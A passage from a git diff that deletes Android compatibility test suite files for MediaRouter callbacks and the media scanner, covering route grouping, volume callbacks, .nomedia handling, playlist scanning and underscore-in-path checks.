-        // called.
-        callback.reset();
-        group.removeRoute(groupableRoute1);
-        assertTrue(callback.mOnRouteUngroupedCalled);
-        assertEquals(groupableRoute1, callback.mUngroupedRoute);
-        assertTrue(callback.mOnRouteChangedCalled);
-        assertEquals(group, callback.mChangedRoute);
-        // Call the callback methods directly so they are marked as tested
-        mrc.onRouteUngrouped(mMediaRouter, callback.mUngroupedRoute, callback.mGroup);
-        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
-        mrsc.onRouteUngrouped(mMediaRouter, callback.mUngroupedRoute, callback.mGroup);
-        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
-
-        // When a group has no routes, the group is removed from the media router.
-        callback.reset();
-        group.removeRoute(0);
-        assertTrue(callback.mOnRouteUngroupedCalled);
-        assertEquals(groupableRoute0, callback.mUngroupedRoute);
-        assertTrue(callback.mOnRouteRemovedCalled);
-        assertEquals(group, callback.mRemovedRoute);
-        // Call the callback methods directly so they are marked as tested
-        mrc.onRouteUngrouped(mMediaRouter, callback.mUngroupedRoute, callback.mGroup);
-        mrc.onRouteRemoved(mMediaRouter, callback.mRemovedRoute);
-        mrsc.onRouteUngrouped(mMediaRouter, callback.mUngroupedRoute, callback.mGroup);
-        mrsc.onRouteRemoved(mMediaRouter, callback.mRemovedRoute);
-
-        // In this case, onRouteChanged() is not called.
-        assertFalse(callback.mOnRouteChangedCalled);
-
-        // Try removing the callback.
-        mMediaRouter.removeCallback(callback);
-        callback.reset();
-        mMediaRouter.addUserRoute(groupableRoute0);
-        assertFalse(callback.mOnRouteAddedCalled);
-
-        mMediaRouter.selectRoute(prevSelectedRoute.getSupportedTypes(), prevSelectedRoute);
-    }
-
-    /**
-     * Test {@link MediaRouter#addCallback(int, MediaRouter.Callback, int)}.
-     */
-    public void testAddCallbackWithFlags() {
-        MediaRouterCallback callback = new MediaRouterCallback();
-        mMediaRouter.addCallback(MediaRouter.ROUTE_TYPE_USER, callback);
-
-        RouteInfo prevSelectedRoute = mMediaRouter.getSelectedRoute(
-                MediaRouter.ROUTE_TYPE_LIVE_AUDIO | MediaRouter.ROUTE_TYPE_LIVE_VIDEO
-                | MediaRouter.ROUTE_TYPE_REMOTE_DISPLAY);
-
-        // Currently mCallback is set for the type MediaRouter.ROUTE_TYPE_USER.
-        // Changes on prevSelectedRoute will not invoke mCallback since the types do not match.
-        callback.reset();
-        Object tag0 = new Object();
-        prevSelectedRoute.setTag(tag0);
-        assertFalse(callback.mOnRouteChangedCalled);
-
-        // Remove mCallback and add it again with flag MediaRouter.CALLBACK_FLAG_UNFILTERED_EVENTS.
-        // This flag will make the callback be invoked even when the types do not match.
-        mMediaRouter.removeCallback(callback);
-        mMediaRouter.addCallback(MediaRouter.ROUTE_TYPE_USER, callback,
-                MediaRouter.CALLBACK_FLAG_UNFILTERED_EVENTS);
-
-        callback.reset();
-        Object tag1 = new Object();
-        prevSelectedRoute.setTag(tag1);
-        assertTrue(callback.mOnRouteChangedCalled);
-    }
-
-    /**
-     * Test {@link MediaRouter.VolumeCallback)}.
-     */
-    public void testVolumeCallback() {
-        UserRouteInfo userRoute = mMediaRouter.createUserRoute(mTestCategory);
-        userRoute.setVolumeHandling(RouteInfo.PLAYBACK_VOLUME_VARIABLE);
-        MediaRouterVolumeCallback callback = new MediaRouterVolumeCallback();
-        MediaRouter.VolumeCallback mrvc = (MediaRouter.VolumeCallback) callback;
-        userRoute.setVolumeCallback(callback);
-
-        userRoute.requestSetVolume(TEST_VOLUME);
-        assertTrue(callback.mOnVolumeSetRequestCalled);
-        assertEquals(userRoute, callback.mRouteInfo);
-        assertEquals(TEST_VOLUME, callback.mVolume);
-        // Call the callback method directly so it is marked as tested
-        mrvc.onVolumeSetRequest(callback.mRouteInfo, callback.mVolume);
-
-        callback.reset();
-        userRoute.requestUpdateVolume(TEST_VOLUME_DIRECTION);
-        assertTrue(callback.mOnVolumeUpdateRequestCalled);
-        assertEquals(userRoute, callback.mRouteInfo);
-        assertEquals(TEST_VOLUME_DIRECTION, callback.mDirection);
-        // Call the callback method directly so it is marked as tested
-        mrvc.onVolumeUpdateRequest(callback.mRouteInfo, callback.mDirection);
-    }
-
-    private Bitmap getBitmap(Drawable drawable) {
-        int width = drawable.getIntrinsicWidth();
-        int height = drawable.getIntrinsicHeight();
-
-        Bitmap result = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
-        Canvas canvas = new Canvas(result);
-
-        drawable.setBounds(0, 0, width, height);
-        drawable.draw(canvas);
-
-        return result;
-    }
-
-    private class MediaRouterVolumeCallback extends MediaRouter.VolumeCallback {
-        private boolean mOnVolumeUpdateRequestCalled;
-        private boolean mOnVolumeSetRequestCalled;
-        private RouteInfo mRouteInfo;
-        private int mDirection;
-        private int mVolume;
-
-        public void reset() {
-            mOnVolumeUpdateRequestCalled = false;
-            mOnVolumeSetRequestCalled = false;
-            mRouteInfo = null;
-            mDirection = 0;
-            mVolume = 0;
-        }
-
-        @Override
-        public void onVolumeUpdateRequest(RouteInfo info, int direction) {
-            mOnVolumeUpdateRequestCalled = true;
-            mRouteInfo = info;
-            mDirection = direction;
-        }
-
-        @Override
-        public void onVolumeSetRequest(RouteInfo info, int volume) {
-            mOnVolumeSetRequestCalled = true;
-            mRouteInfo = info;
-            mVolume = volume;
-        }
-    }
-
-    private class MediaRouterCallback extends MediaRouter.SimpleCallback {
-        private boolean mOnRouteSelectedCalled;
-        private boolean mOnRouteUnselectedCalled;
-        private boolean mOnRouteAddedCalled;
-        private boolean mOnRouteRemovedCalled;
-        private boolean mOnRouteChangedCalled;
-        private boolean mOnRouteGroupedCalled;
-        private boolean mOnRouteUngroupedCalled;
-        private boolean mOnRouteVolumeChangedCalled;
-
-        private RouteInfo mSelectedRoute;
-        private RouteInfo mUnselectedRoute;
-        private RouteInfo mAddedRoute;
-        private RouteInfo mRemovedRoute;
-        private RouteInfo mChangedRoute;
-        private RouteInfo mGroupedRoute;
-        private RouteInfo mUngroupedRoute;
-        private RouteInfo mVolumeChangedRoute;
-        private RouteGroup mGroup;
-        private int mRouteIndexInGroup = -1;
-
-        public void reset() {
-            mOnRouteSelectedCalled = false;
-            mOnRouteUnselectedCalled = false;
-            mOnRouteAddedCalled = false;
-            mOnRouteRemovedCalled = false;
-            mOnRouteChangedCalled = false;
-            mOnRouteGroupedCalled = false;
-            mOnRouteUngroupedCalled = false;
-            mOnRouteVolumeChangedCalled = false;
-
-            mSelectedRoute = null;
-            mUnselectedRoute = null;
-            mAddedRoute = null;
-            mRemovedRoute = null;
-            mChangedRoute = null;
-            mGroupedRoute = null;
-            mUngroupedRoute = null;
-            mVolumeChangedRoute = null;
-            mGroup = null;
-            mRouteIndexInGroup = -1;
-        }
-
-        @Override
-        public void onRouteSelected(MediaRouter router, int type, RouteInfo info) {
-            mOnRouteSelectedCalled = true;
-            mSelectedRoute = info;
-        }
-
-        @Override
-        public void onRouteUnselected(MediaRouter router, int type, RouteInfo info) {
-            mOnRouteUnselectedCalled = true;
-            mUnselectedRoute = info;
-        }
-
-        @Override
-        public void onRouteAdded(MediaRouter router, RouteInfo info) {
-            mOnRouteAddedCalled = true;
-            mAddedRoute = info;
-        }
-
-        @Override
-        public void onRouteRemoved(MediaRouter router, RouteInfo info) {
-            mOnRouteRemovedCalled = true;
-            mRemovedRoute = info;
-        }
-
-        @Override
-        public void onRouteChanged(MediaRouter router, RouteInfo info) {
-            mOnRouteChangedCalled = true;
-            mChangedRoute = info;
-        }
-
-        @Override
-        public void onRouteGrouped(MediaRouter router, RouteInfo info, RouteGroup group,
-                int index) {
-            mOnRouteGroupedCalled = true;
-            mGroupedRoute = info;
-            mGroup = group;
-            mRouteIndexInGroup = index;
-        }
-
-        @Override
-        public void onRouteUngrouped(MediaRouter router, RouteInfo info, RouteGroup group) {
-            mOnRouteUngroupedCalled = true;
-            mUngroupedRoute = info;
-            mGroup = group;
-        }
-
-        @Override
-        public void onRouteVolumeChanged(MediaRouter router, RouteInfo info) {
-            mOnRouteVolumeChangedCalled = true;
-            mVolumeChangedRoute = info;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
deleted file mode 100644
index 574ef2e..0000000
--- a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
+++ /dev/null
@@ -1,141 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.ComponentName;
-import android.content.Context;
-import android.media.MediaScannerConnection;
-import android.media.MediaScannerConnection.MediaScannerConnectionClient;
-import android.net.Uri;
-import android.os.IBinder;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-
-import com.android.compatibility.common.util.FileCopyHelper;
-import com.android.compatibility.common.util.PollingCheck;
-
-import java.io.File;
-
-@NonMediaMainlineTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaScannerConnectionTest extends AndroidTestCase {
-
-    private static final String MEDIA_TYPE = "audio/mpeg";
-    private File mMediaFile;
-    private static final int TIME_OUT = 10000;
-    private MockMediaScannerConnection mMediaScannerConnection;
-    private MockMediaScannerConnectionClient mMediaScannerConnectionClient;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        // prepare the media file.
-
-        FileCopyHelper copier = new FileCopyHelper(mContext);
-        String fileName = "test" + System.currentTimeMillis() + ".mp3";
-        File dir = getContext().getExternalMediaDirs()[0];
-        mMediaFile = new File(dir, fileName);
-        copier.copyToExternalStorage(R.raw.testmp3, mMediaFile);
-
-        assertTrue(mMediaFile.exists());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        if (mMediaFile != null) {
-            mMediaFile.delete();
-        }
-        if (mMediaScannerConnection != null) {
-            mMediaScannerConnection.disconnect();
-            mMediaScannerConnection = null;
-        }
-    }
-
-    public void testMediaScannerConnection() throws InterruptedException {
-        mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
-        mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
-                                    mMediaScannerConnectionClient);
-
-        assertFalse(mMediaScannerConnection.isConnected());
-
-        // test connect and disconnect.
-        mMediaScannerConnection.connect();
-        checkConnectionState(true);
-
-        mMediaScannerConnection.disconnect();
-
-        checkConnectionState(false);
-
-        mMediaScannerConnection.connect();
-
-        checkConnectionState(true);
-
-        mMediaScannerConnection.scanFile(mMediaFile.getAbsolutePath(), MEDIA_TYPE);
-
-        checkMediaScannerConnection();
-
-        assertEquals(mMediaFile.getAbsolutePath(), mMediaScannerConnectionClient.mediaPath);
-        assertNotNull(mMediaScannerConnectionClient.mediaUri);
-    }
-
-    private void checkMediaScannerConnection() {
-        new PollingCheck(TIME_OUT) {
-            protected boolean check() {
-                return mMediaScannerConnectionClient.isOnMediaScannerConnectedCalled;
-            }
-        }.run();
-        new PollingCheck(TIME_OUT) {
-            protected boolean check() {
-                return mMediaScannerConnectionClient.mediaPath != null;
-            }
-        }.run();
-    }
-
-    private void checkConnectionState(final boolean expected) {
-        new PollingCheck(TIME_OUT) {
-            protected boolean check() {
-                return mMediaScannerConnection.isConnected() == expected;
-            }
-        }.run();
-    }
-
-    class MockMediaScannerConnection extends MediaScannerConnection {
-        public MockMediaScannerConnection(Context context, MediaScannerConnectionClient client) {
-            super(context, client);
-        }
-    }
-
-    class MockMediaScannerConnectionClient implements MediaScannerConnectionClient {
-
-        public boolean isOnMediaScannerConnectedCalled;
-        public String mediaPath;
-        public Uri mediaUri;
-        public void onMediaScannerConnected() {
-            isOnMediaScannerConnectedCalled = true;
-        }
-
-        public void onScanCompleted(String path, Uri uri) {
-            mediaPath = path;
-            if (uri != null) {
-                mediaUri = uri;
-            }
-        }
-
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java b/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
deleted file mode 100644
index 77f3d58..0000000
--- a/tests/tests/media/src/android/media/cts/MediaScannerNotificationTest.java
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Environment;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-
-@NonMediaMainlineTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaScannerNotificationTest extends AndroidTestCase {
-
-    public void testMediaScannerNotification() throws Exception {
-        ScannerNotificationReceiver startedReceiver = new ScannerNotificationReceiver(
-                Intent.ACTION_MEDIA_SCANNER_STARTED);
-        ScannerNotificationReceiver finishedReceiver = new ScannerNotificationReceiver(
-                Intent.ACTION_MEDIA_SCANNER_FINISHED);
-
-        IntentFilter startedIntentFilter = new IntentFilter(Intent.ACTION_MEDIA_SCANNER_STARTED);
-        startedIntentFilter.addDataScheme("file");
-        IntentFilter finshedIntentFilter = new IntentFilter(Intent.ACTION_MEDIA_SCANNER_FINISHED);
-        finshedIntentFilter.addDataScheme("file");
-
-        mContext.registerReceiver(startedReceiver, startedIntentFilter);
-        mContext.registerReceiver(finishedReceiver, finshedIntentFilter);
-
-        String [] temps = new String[] { "avi", "gif", "jpg", "dat", "mp3", "mp4", "txt" };
-        String tmpPath = createTempFiles(temps);
-
-        MediaScannerTest.startMediaScan();
-        startedReceiver.waitForBroadcast();
-        finishedReceiver.waitForBroadcast();
-
-        checkTempFiles(tmpPath, temps);
-
-        // add .nomedia file and scan again
-        File noMedia = new File(tmpPath, ".nomedia");
-        try {
-            noMedia.createNewFile();
-        } catch (IOException e) {
-            fail("couldn't create .nomedia file");
-        }
-        startedReceiver.reset();
-        finishedReceiver.reset();
-        MediaScannerTest.startMediaScan();
-        startedReceiver.waitForBroadcast();
-        finishedReceiver.waitForBroadcast();
-
-        checkTempFiles(tmpPath, temps);
-        assertTrue(noMedia.delete());
-        deleteTempFiles(tmpPath, temps);
-
-        // scan one more time just to clean everything up nicely
-        startedReceiver.reset();
-        finishedReceiver.reset();
-        MediaScannerTest.startMediaScan();
-        startedReceiver.waitForBroadcast();
-        finishedReceiver.waitForBroadcast();
-
-    }
-
-    String createTempFiles(String [] extensions) {
-        String externalPath = Environment.getExternalStorageDirectory().getAbsolutePath();
-        File tmpDir = new File(externalPath, "" + System.nanoTime());
-        String tmpPath = tmpDir.getAbsolutePath();
-        assertFalse(tmpPath + " already exists", tmpDir.exists());
-        assertTrue("failed to create " + tmpDir, tmpDir.mkdirs());
-
-        for (int i = 0; i < extensions.length; i++) {
-            File foo = new File(tmpPath, "foobar." + extensions[i]);
-            try {
-                // create a non-empty file
-                foo.createNewFile();
-                FileOutputStream out = new FileOutputStream(foo);
-                out.write(0x12);
-                out.flush();
-                out.close();
-                assertTrue(foo.length() != 0);
-            } catch (IOException e) {
-                fail("Error creating " + foo.getAbsolutePath() + ": " + e);
-            }
-        }
-        return tmpPath;
-    }
-
-    void checkTempFiles(String tmpPath, String [] extensions) {
-        for (int i = 0; i < extensions.length; i++) {
-            File foo = new File(tmpPath, "foobar." + extensions[i]);
-            assertTrue(foo.getAbsolutePath() + " no longer exists or was truncated",
-                    foo.length() != 0);
-        }
-    }
-
-    void deleteTempFiles(String tmpPath, String [] extensions) {
-        for (int i = 0; i < extensions.length; i++) {
-            assertTrue(new File(tmpPath, "foobar." + extensions[i]).delete());
-        }
-        assertTrue(new File(tmpPath).delete());
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
deleted file mode 100644
index eb85c42..0000000
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ /dev/null
@@ -1,774 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.UiAutomation;
-import android.content.ComponentName;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.res.AssetFileDescriptor;
-import android.database.Cursor;
-import android.media.MediaMetadataRetriever;
-import android.media.MediaScannerConnection;
-import android.media.MediaScannerConnection.MediaScannerConnectionClient;
-import android.net.Uri;
-import android.os.Build;
-import android.os.Environment;
-import android.os.IBinder;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.provider.MediaStore;
-import android.provider.MediaStore.MediaColumns;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.FileCopyHelper;
-import com.android.compatibility.common.util.PollingCheck;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.lang.reflect.Method;
-import java.nio.charset.StandardCharsets;
-
-@Presubmit
-@NonMediaMainlineTest
-@SmallTest
-@RequiresDevice
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaScannerTest extends AndroidTestCase {
-    private static final String MEDIA_TYPE = "audio/mpeg";
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    private File mMediaFile;
-    private static final int TIME_OUT = 10000;
-    private MockMediaScannerConnection mMediaScannerConnection;
-    private MockMediaScannerConnectionClient mMediaScannerConnectionClient;
-    private String mFileDir;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        // prepare the media file.
-
-        mFileDir = mContext.getExternalMediaDirs()[0].getAbsolutePath();
-
-        cleanup();
-        String fileName = mFileDir + "/test" + System.currentTimeMillis() + ".mp3";
-        writeFile("testmp3.mp3", fileName);
-
-        mMediaFile = new File(fileName);
-        assertTrue(mMediaFile.exists());
-    }
-
-    protected AssetFileDescriptor getAssetFileDescriptorFor(final String res)
-            throws FileNotFoundException {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        File inpFile = new File(mInpPrefix + res);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-    private void writeFile(int resid, String path) throws IOException {
-        File out = new File(path);
-        File dir = out.getParentFile();
-        dir.mkdirs();
-        FileCopyHelper copier = new FileCopyHelper(mContext);
-        copier.copyToExternalStorage(resid, out);
-    }
-
-    private void writeFile(final String res, String path) throws IOException {
-        File out = new File(path);
-        File dir = out.getParentFile();
-        dir.mkdirs();
-        FileCopyHelper copier = new FileCopyHelper(mContext);
-        copier.copyToExternalStorage(mInpPrefix + res, out);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        cleanup();
-        super.tearDown();
-    }
-
-    private void cleanup() {
-        if (mMediaFile != null) {
-            mMediaFile.delete();
-        }
-        if (mFileDir != null) {
-            String files[] = new File(mFileDir).list();
-            if (files != null) {
-                for (String f: files) {
-                    new File(mFileDir + "/" + f).delete();
-                }
-            }
-            new File(mFileDir).delete();
-        }
-
-        if (mMediaScannerConnection != null) {
-            mMediaScannerConnection.disconnect();
-            mMediaScannerConnection = null;
-        }
-
-        mContext.getContentResolver().delete(MediaStore.Audio.Media.getContentUri("external"),
-                "_data like ?", new String[] { mFileDir + "%"});
-    }
-
-    public void testLocalizeRingtoneTitles() throws Exception {
-        mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
-        mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
-            mMediaScannerConnectionClient);
-
-        assertFalse(mMediaScannerConnection.isConnected());
-
-        // start connection and wait until connected
-        mMediaScannerConnection.connect();
-        checkConnectionState(true);
-
-        // Write unlocalizable audio file and scan to insert into database
-        final String unlocalizablePath = mFileDir + "/unlocalizable.mp3";
-        writeFile("testmp3.mp3", unlocalizablePath);
-        mMediaScannerConnection.scanFile(unlocalizablePath, null);
-        checkMediaScannerConnection();
-        final Uri media1Uri = mMediaScannerConnectionClient.mediaUri;
-
-        // Ensure unlocalizable titles come back correctly
-        final ContentResolver res = mContext.getContentResolver();
-        final String unlocalizedTitle = "Chimey Phone";
-        Cursor c = res.query(media1Uri, new String[] { "title" }, null, null, null);
-        assertEquals(1, c.getCount());
-        c.moveToFirst();
-        assertEquals(unlocalizedTitle, c.getString(0));
-
-        mMediaScannerConnectionClient.reset();
-
-        // Write localizable audio file and scan to insert into database
-        final String localizablePath = mFileDir + "/localizable.mp3";
-        writeFile("testmp3_4.mp3", localizablePath);
-        mMediaScannerConnection.scanFile(localizablePath, null);
-        checkMediaScannerConnection();
-        final Uri media2Uri = mMediaScannerConnectionClient.mediaUri;
-
-        // Ensure localized title comes back localized
-        final String localizedTitle = mContext.getString(R.string.test_localizable_title);
-        c = res.query(media2Uri, new String[] { "title" }, null, null, null);
-        assertEquals(1, c.getCount());
-        c.moveToFirst();
-        assertEquals(localizedTitle, c.getString(0));
-
-        mMediaScannerConnection.disconnect();
-        c.close();
-    }
-
-    public void testMediaScanner() throws InterruptedException, IOException {
-        mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
-        mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
-                                    mMediaScannerConnectionClient);
-
-        assertFalse(mMediaScannerConnection.isConnected());
-
-        // start connection and wait until connected
-        mMediaScannerConnection.connect();
-        checkConnectionState(true);
-
-        // start and wait for scan
-        mMediaScannerConnection.scanFile(mMediaFile.getAbsolutePath(), MEDIA_TYPE);
-        checkMediaScannerConnection();
-
-        Uri insertUri = mMediaScannerConnectionClient.mediaUri;
-        long id = Long.valueOf(insertUri.getLastPathSegment());
-        ContentResolver res = mContext.getContentResolver();
-
-        // check that the file ended up in the audio view
-        Cursor c = res.query(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI, null,
-                MediaColumns.DATA + "=?", new String[] { mMediaFile.getAbsolutePath() }, null);
-        assertEquals(1, c.getCount());
-        c.close();
-
-        // add nomedia file and insert into database, file should no longer be in audio view
-        File nomedia = new File(mMediaFile.getParent() + "/.nomedia");
-        nomedia.createNewFile();
-        startMediaScanAndWait();
-
-        // entry should not be in audio view anymore
-        c = res.query(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI, null,
-                MediaColumns.DATA + "=?", new String[] { mMediaFile.getAbsolutePath() }, null);
-        assertEquals(0, c.getCount());
-        c.close();
-
-        // with nomedia file removed, do media scan and check that entry is in audio table again
-        nomedia.delete();
-        startMediaScanAndWait();
-
-        // Give the 2nd stage scan that makes the unhidden files visible again
-        // a little more time
-        SystemClock.sleep(10000);
-        // entry should be in audio view again
-        c = res.query(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI, null,
-                MediaColumns.DATA + "=?", new String[] { mMediaFile.getAbsolutePath() }, null);
-        assertEquals(1, c.getCount());
-        c.close();
-
-        // ensure that we don't currently have playlists named ctsmediascanplaylist*
-        res.delete(MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI,
-                MediaStore.Audio.PlaylistsColumns.NAME + "=?",
-                new String[] { "ctsmediascanplaylist1"});
-        res.delete(MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI,
-                MediaStore.Audio.PlaylistsColumns.NAME + "=?",
-                new String[] { "ctsmediascanplaylist2"});
-        // delete the playlist file entries, if they exist
-        res.delete(MediaStore.Files.getContentUri("external"),
-                MediaStore.Files.FileColumns.DATA + "=?",
-                new String[] { mFileDir + "/ctsmediascanplaylist1.pls"});
-        res.delete(MediaStore.Files.getContentUri("external"),
-                MediaStore.Files.FileColumns.DATA + "=?",
-                new String[] { mFileDir + "/ctsmediascanplaylist2.m3u"});
-
-        // write some more files
-        writeFile("testmp3.mp3", mFileDir + "/testmp3.mp3");
-        writeFile("testmp3_2.mp3", mFileDir + "/testmp3_2.mp3");
-        writeFile("playlist1.pls", mFileDir + "/ctsmediascanplaylist1.pls");
-        writeFile("playlist2.m3u", mFileDir + "/ctsmediascanplaylist2.m3u");
-
-        startMediaScanAndWait();
-
-        // verify that the two playlists were created correctly;
-        c = res.query(MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI, null,
-                MediaStore.Audio.PlaylistsColumns.NAME + "=?",
-                new String[] { "ctsmediascanplaylist1"}, null);
-        assertEquals(1, c.getCount());
-        c.moveToFirst();
-        long playlistid = c.getLong(c.getColumnIndex(MediaStore.MediaColumns._ID));
-        c.close();
-
-        c = res.query(MediaStore.Audio.Playlists.Members.getContentUri("external", playlistid),
-                null, null, null, MediaStore.Audio.Playlists.Members.PLAY_ORDER);
-        assertEquals(2, c.getCount());
-        c.moveToNext();
-        long song1a = c.getLong(c.getColumnIndex(MediaStore.Audio.Playlists.Members.AUDIO_ID));
-        c.moveToNext();
-        long song1b = c.getLong(c.getColumnIndex(MediaStore.Audio.Playlists.Members.AUDIO_ID));
-        c.close();
-        assertTrue("song id should not be 0", song1a != 0);
-        assertTrue("song id should not be 0", song1b != 0);
-        assertTrue("song ids should not be same", song1a != song1b);
-
-        // 2nd playlist should have the same songs, in reverse order
-        c = res.query(MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI, null,
-                MediaStore.Audio.PlaylistsColumns.NAME + "=?",
-                new String[] { "ctsmediascanplaylist2"}, null);
-        assertEquals(1, c.getCount());
-        c.moveToFirst();
-        playlistid = c.getLong(c.getColumnIndex(MediaStore.MediaColumns._ID));
-        c.close();
-
-        c = res.query(MediaStore.Audio.Playlists.Members.getContentUri("external", playlistid),
-                null, null, null, MediaStore.Audio.Playlists.Members.PLAY_ORDER);
-        assertEquals(2, c.getCount());
-        c.moveToNext();
-        long song2a = c.getLong(c.getColumnIndex(MediaStore.Audio.Playlists.Members.AUDIO_ID));
-        c.moveToNext();
-        long song2b = c.getLong(c.getColumnIndex(MediaStore.Audio.Playlists.Members.AUDIO_ID));
-        c.close();
-        assertEquals("mismatched song ids", song1a, song2b);
-        assertEquals("mismatched song ids", song2a, song1b);
-
-        mMediaScannerConnection.disconnect();
-
-        checkConnectionState(false);
-    }
-
-    public void testWildcardPaths() throws Exception {
-        mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
-        mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
-                                    mMediaScannerConnectionClient);
-
-        assertFalse(mMediaScannerConnection.isConnected());
-
-        // start connection and wait until connected
-        mMediaScannerConnection.connect();
-        checkConnectionState(true);
-
-        long now = System.currentTimeMillis();
-        String dir1 = mFileDir + "/test-" + now;
-        String file1 = dir1 + "/test.mp3";
-        String dir2 = mFileDir + "/test_" + now;
-        String file2 = dir2 + "/test.mp3";
-        assertTrue(new File(dir1).mkdir());
-        writeFile("testmp3.mp3", file1);
-        mMediaScannerConnection.scanFile(file1, MEDIA_TYPE);
-        checkMediaScannerConnection();
-        Uri file1Uri = mMediaScannerConnectionClient.mediaUri;
-
-        assertTrue(new File(dir2).mkdir());
-        writeFile("testmp3.mp3", file2);
-        mMediaScannerConnectionClient.reset();
-        mMediaScannerConnection.scanFile(file2, MEDIA_TYPE);
-        checkMediaScannerConnection();
-        Uri file2Uri = mMediaScannerConnectionClient.mediaUri;
-
-        // if the URIs are the same, then the media scanner likely treated the _ character
-        // in the second path as a wildcard, and matched it with the first path
-        assertFalse(file1Uri.equals(file2Uri));
-
-        // rewrite Uris to use the file scheme
-        long file1id = Long.valueOf(file1Uri.getLastPathSegment());
-        long file2id = Long.valueOf(file2Uri.getLastPathSegment());
-        file1Uri = MediaStore.Files.getContentUri("external", file1id);
-        file2Uri = MediaStore.Files.getContentUri("external", file2id);
-
-        ContentResolver res = mContext.getContentResolver();
-        Cursor c = res.query(file1Uri, new String[] { "parent" }, null, null, null);
-        c.moveToFirst();
-        long parent1id = c.getLong(0);
-        c.close();
-        c = res.query(file2Uri, new String[] { "parent" }, null, null, null);
-        c.moveToFirst();
-        long parent2id = c.getLong(0);
-        c.close();
-        // if the parent ids are the same, then the media provider likely
-        // treated the _ character in the second path as a wildcard
-        assertTrue("same parent", parent1id != parent2id);
-
-        // check the parent paths are correct
-
-        assertEquals(dir1, getRawFile(MediaStore.Files.getContentUri("external", parent1id))
-                .getAbsolutePath());
-        assertEquals(dir2, getRawFile(MediaStore.Files.getContentUri("external", parent2id))
-                .getAbsolutePath());
-
-        // clean up
-        new File(file1).delete();
-        new File(dir1).delete();
-        new File(file2).delete();
-        new File(dir2).delete();
